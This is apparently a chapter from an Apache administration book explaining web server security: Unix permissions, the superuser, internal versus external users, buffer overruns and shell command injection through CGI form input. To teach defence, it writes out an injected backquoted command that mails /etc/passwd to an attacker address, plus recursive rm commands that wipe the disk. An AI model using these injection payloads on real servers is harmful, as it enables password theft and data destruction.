Chapter 13. Security
The
operation of a web server raises several security issues. Here we
look at them in general terms; later on, we will discuss the
necessary code in detail.
We are no more anxious to have unauthorized people in our computer
than to have unauthorized people in our house. In the ordinary way, a
desktop PC is pretty secure. An intruder would have to get physically
into your house or office to get at the information in it or to
damage it. However, once you connect a telephone line, it's as
if you moved your house to a street with 30 million close neighbors
(not all of them desirable), tore your front door off its hinges, and
went out leaving the lights on and your children in bed.
A complete discussion of computer security would fill a library.
However, the meat of the business is as follows. We want to make it
impossible for strangers to copy, alter, or erase any of our data
files. We want to prevent strangers from running any unapproved
programs on our machine. Just as important, we want to prevent our
friends and legitimate users from making silly mistakes that may have
consequences as serious as deliberate vandalism. For instance, they
can execute the command:
rm -f -r *
and delete all their own files and subdirectories, but they
won't be able to execute this dramatic action in anyone
else's area. One hopes no one would be as silly as that, but
subtler mistakes can be as damaging.
As far as the system designer is concerned, there is not a lot of
difference between villainy and willful ignorance. Both must be
guarded against.
We look at basic security as it applies to a system with a number of
terminals that might range from 2 to 10,000, and then see how it can
be applied to a web server. We assume that a serious operating system
such as Unix is running.
We do not include Win32 in this chapter, even though Apache now runs
on it, because it is our opinion that if you care about security you
should not be using Win32. That is not to say that Win32 has no
security, but it is poorly documented, understood by very few people,
and constantly undermined by bugs and dubious practices (such as
advocating ActiveX downloads from the Web).
The basic idea of standard Unix security is that every operation on
the computer is commanded by a known person who can be held
responsible for his or her actions. Everyone using the computer has
to log in so the computer knows who he or she is. Users identify
themselves with unique passwords that are checked against a security
database maintained by the administrator. On entry, each person is
assigned to a group of people with similar security privileges; on a
properly secure system, every action the user makes is logged. Every
program and every data file on the machine also belongs to a security
group. The effect of the security system is that a user can run only
a program available to his or her security group, and that program
can access only files that are also available to the user's
group.
In this way, we can keep the accounts people from fooling with
engineering drawings, and the salespeople are unable to get into the
accounts area to massage their approved expense claims.
Of course, there has to be someone with the authority to go
everywhere and alter everything; otherwise, the system would never
get set up in the first place. This person is the superuser, who logs
in as root using the top-secret password
pencilled on the wall over the system console. He is essential, but
because of his awesome powers, he is a very worrying person to have
around. If an enemy agent successfully impersonates your head of
security, you are in real trouble.
And, of course, this is exactly the aim of the wolf: to get himself
into the machine with superuser's privileges so that he can run
any program. Failing that, he wants at least to get in with
privileges higher than those to which he is entitled. If he can do
that, he can potentially delete data, read files he shouldn't,
and collect passwords to other, more valuable, systems. Our object is
to see that he doesn't.
13.1. Internal and External Users
As we have said, most serious operating
systems, including Unix, provide security by limiting the ability of
each user to perform certain operations. The exact details are
unimportant, but when we apply this principle to a web server, we
clearly have to decide who the users of the web server are with
respect to the security of our network sheltering behind it. When
considering a web server's security, we must recognize that
there are essentially two kinds of users: internal and external.
The internal users are those within the organization that owns the
server (or, at least, the users the owners intend to be able to
update server content); the external ones inhabit the rest of the
Internet. Of course, there are many levels of granularity below this
one, but here we are trying to capture the difference between users
who are supposed to use the HTTP server only to browse pages (the
external users), and users who may be permitted greater access to the
web server (the internal users).
We need to consider security for both of these groups, but the
external users are more worrying and have to be more strictly
controlled. It is not that the internal users are necessarily nicer
people or less likely to get up to mischief. In some ways, they are
more likely to create trouble, having motive and knowledge, but, to
put it bluntly, we know (mostly) who signs their paychecks. The
external users are usually beyond our vengeance.
In essence, by connecting to the Internet, we allow anyone in the
world to type anything they like on our server's keyboard. This
is an alarming thought: we want to allow them to do a very small
range of safe things and to make sure that they cannot do anything
outside that range. This desire has a couple of implications:
External users should only be able to access those files and programs
we have specified and no others. The server should not be vulnerable to sneaky attacks, like asking
for a page with a one-megabyte name (the Bad Guy hopes that a name
that long might overrun a fixed-length buffer and trash the stack) or
with funny characters (like "!," "#," or
"/") included in the page name that might cause part of
it to be construed as a command by the server's operating
system, and so on. These scenarios can be avoided only by careful
programming. Apache's approach to the first problem is to avoid
using fixed-size buffers for anything but fixed-size data;[58] it sounds simple, but really it costs a lot of
painstaking work. The other problems are dealt with case by case,
sometimes after a security breach has been identified, but most often
just by careful thought on the part of Apache's coders.
[58]Buffer overruns are far and away the most common cause of
security holes on the Internet, not just on web servers.
Unfortunately, Unix works against us. First, the standard HTTP port
is 80. Only the superuser can attach to this port (this is a
misguided historical attempt at security), so the server must at
least start up as the superuser: this is exactly what we do not
want.[59]
[59]This is a rare case in which Win32 is actually
better than Unix. We are not required to be superuser on Win32,
though we do have to have permission to start services.
Another problem is that the various shells used by Unix have a rich
syntax, full of clever tricks that the Bad Guy may be able to exploit
to do things we do not expect or like. Win32 is by no means immune to
these problems either, as the only shell it provides
(COMMAND.COM ) is so lacking in power that Unix
shells are almost invariably used in its place.
For example, we might have sent a form to the user in HTML script.
His computer interprets the script and puts the form up on his
screen. He fills in the form and hits the Submit button. His machine
then sends it back to our server, where it invokes a URL with the
contents of the form tacked on the end. We have set up our server so
that this URL runs a script that appends the contents of the form to
a file we can look at later. Part of the script might be the
following line:
echo "You have sent the following message: $MESSAGE"
The intention is that our machine should return a confirmatory
message to the user, quoting whatever he said to us in the text
string $MESSAGE.
Now, if the external user is a cunning and bad person, he may send us
the $MESSAGE:
`mail wolf@lair.com < /etc/passwd`
Since backquotes are interpreted by the shell as enclosing commands,
this has the alarming effect of sending our top-secret password file
to this complete stranger. Or, with less imagination but equal
malice, he might simply have sent us:
`rm -f -r /*`
which amusingly licks our hard disk as clean as a wolf 's
dinner plate.
 |  |  | | 12.12. DSO |  | 13.2. Apache's Security Precautions |
Copyright © 2001 O'Reilly & Associates. All rights reserved.
|